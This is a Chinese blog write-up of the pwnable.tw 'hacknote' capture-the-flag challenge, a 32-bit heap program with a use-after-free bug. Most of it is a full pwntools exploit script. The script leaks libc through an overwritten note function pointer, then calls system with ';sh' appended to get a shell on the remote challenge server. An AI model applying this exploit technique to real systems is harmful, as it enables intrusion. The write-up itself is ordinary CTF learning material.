【pwnable.tw】hacknote

32位程序,开启了 canary 和 NX 保护,一道简单的菜单堆。

说实话,我总感觉这题做过,结果去wiki上看确实做过,但wiki上那个题有后门函数,所以比这题简单不少(虽然都差不多)

 漏洞主要就是释放堆块后未将指针置空导致UAF,程序很简单就不分析了。

唯一值得注意的就是:最后执行的其实是system(system_addr;sh\x00),其中分号“;”起到分割命令的作用。

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#context(arch = 'amd64', os = 'linux')
context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./hacknote")
io = remote("node4.buuoj.cn", 28586)
elf = ELF("./hacknote")
#libc = elf.libc
libc = ELF("/home/xiaozaya/rubbish/pwnh/buuctf/libc/u16-x32.so")
def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Your choice :'
def add(size, content):
        sla(menu, b'1')
        sla(b'size :', byte(size))
        sda(b'Content :', content)

def dele(idx):
        sla(menu, b'2')
        sla(b'Index :', byte(idx))

def show(idx):
        sla(menu, b'3')
        sla(b'Index :', byte(idx))

add(8, b'A\n')
add(16, b'A\n')
dele(0)
dele(1)

add(8, p32(0x0804862B)+p32(0x0804A010))
show(0)
libc.address = addr4(4) - libc.sym.printf
info("libc_base", libc.address)

dele(2)
add(8, p32(libc.sym.system)+b';sh\x00')

#debug()
show(0)
sh()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值